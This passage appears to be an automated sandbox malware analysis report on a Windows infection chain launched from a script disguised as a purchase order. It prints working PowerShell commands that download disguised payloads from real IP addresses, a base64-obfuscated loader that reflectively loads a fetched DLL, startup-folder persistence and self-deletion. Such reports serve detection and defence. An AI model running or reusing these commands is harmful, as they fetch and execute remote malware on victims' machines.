Source: Binary string: RegAsm.pdb4 source: explorer.exe, 00000006.00000000.614677532.00000000029E7000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: WAUgLeAhDG.pdbH|^| P|_CorDllMainmscoree.dll source: powershell.exe, 0000000C.00000002.436703755.00000181B4EB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.451254825.00000181CD3D0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: ddscfIvqgW.pdb source: powershell.exe, 0000000C.00000002.436356861.00000181B4DB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.441209131.00000181B57D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.451218272.00000181CCFB0000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation
barindex
Suspicious powershell command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'http://2.56.57.22/daveCrpted.jpg' -o C:\Windows\Temp\Done.vbs;explorer.exe C:\Windows\Temp\Done.vbs;Start-Sleep 1;rm *.vbs,*.wsf
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'WwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG???ANgA0AFMAdAByAGkAbgBnACgAKABOAG???AdwAtAE8AYgBqAG???AYwB0ACAATgBlAHQALgBXAG???AYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAuADEAMAA2AC4AMgAzADIALgA0AC8AZABsAGwALwAyADYALQAwAD???ALQAyADAAMgAyAC0A???wB0AGEAcgB0AF???AcAAuAHAAZABmACcAKQApADsAWwBTAHkAcwB0AG???AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAZABkAHMAYwBmAEkAdgBxAGcAVwAuAEgAbwBOAFkAbABEAFIATwBMAFAAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFIAdQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH???AbABsACwAIABbAG8AYgBqAG???AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AawBqAGkAaAB1AGcAZgBkAHMAdAAvADIAMgAuADcANQAuADYANQAuADIALwAvADoAcAB0AHQAaAAnACkAKQA=';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $iUqm.replace('???','U') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.106.232.4/dll/26-05-2022-StartUp.pdf'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ddscfIvqgW.HoNYlDROLP').GetMethod('Run').Invoke($null, [object[]] ('txt.kjihugfdst/22.75.65.2//:ptth'))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\Done.vbs
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden Start-Sleep 5;Start-Process C:\ProgramData\Done.vbs
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Start-Sleep 5
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'http://2.56.57.22/daveCrpted.jpg' -o C:\Windows\Temp\Done.vbs;explorer.exe C:\Windows\Temp\Done.vbs;Start-Sleep 1;rm *.vbs,*.wsf Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'WwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG???ANgA0AFMAdAByAGkAbgBnACgAKABOAG???AdwAtAE8AYgBqAG???AYwB0ACAATgBlAHQALgBXAG???AYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAuADEAMAA2AC4AMgAzADIALgA0AC8AZABsAGwALwAyADYALQAwAD???ALQAyADAAMgAyAC0A???wB0AGEAcgB0AF???AcAAuAHAAZABmACcAKQApADsAWwBTAHkAcwB0AG???AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAZABkAHMAYwBmAEkAdgBxAGcAVwAuAEgAbwBOAFkAbABEAFIATwBMAFAAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFIAdQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH???AbABsACwAIABbAG8AYgBqAG???AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AawBqAGkAaAB1AGcAZgBkAHMAdAAvADIAMgAuADcANQAuADYANQAuADIALwAvADoAcAB0AHQAaAAnACkAKQA=';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $iUqm.replace('???','U') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.106.232.4/dll/26-05-2022-StartUp.pdf'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ddscfIvqgW.HoNYlDROLP').GetMethod('Run').Invoke($null, [object[]] ('txt.kjihugfdst/22.75.65.2//:ptth')) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\Done.vbs Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Start-Sleep 5 Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_00007FFEBFBC0E17 push eax; iretd 12_2_00007FFEBFBC0E29
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_00007FFEBFC917EE push ss; ret 12_2_00007FFEBFC917EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0041D336 push esp; ret 15_2_0041D338
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_004184C6 push edi; retf 15_2_004184C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_004164EE pushfd ; iretd 15_2_004164EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0041BDF2 push eax; ret 15_2_0041BDF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0041BDFB push eax; ret 15_2_0041BE62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0041BDA5 push eax; ret 15_2_0041BDF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0041BE5C push eax; ret 15_2_0041BE62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0296D0D1 push ecx; ret 15_2_0296D0E4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 23_2_00007FFEBFBB000A pushfd ; ret 23_2_00007FFEBFBB002A
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040AD0D1 push ecx; ret 27_2_040AD0E4
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0322D336 push esp; ret 27_2_0322D338
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0322BE5C push eax; ret 27_2_0322BE62
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0322BDA5 push eax; ret 27_2_0322BDF8
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0322BDF2 push eax; ret 27_2_0322BDF8
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0322BDFB push eax; ret 27_2_0322BE62
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_032264EE pushfd ; iretd 27_2_032264EF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_032284C6 push edi; retf 27_2_032284C8
Stores files to the Windows start menu directory
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk Jump to behavior
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes itself after installation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File deleted: c:\users\user\desktop\nueva orden de compra 80107.wsf Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\wscript.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
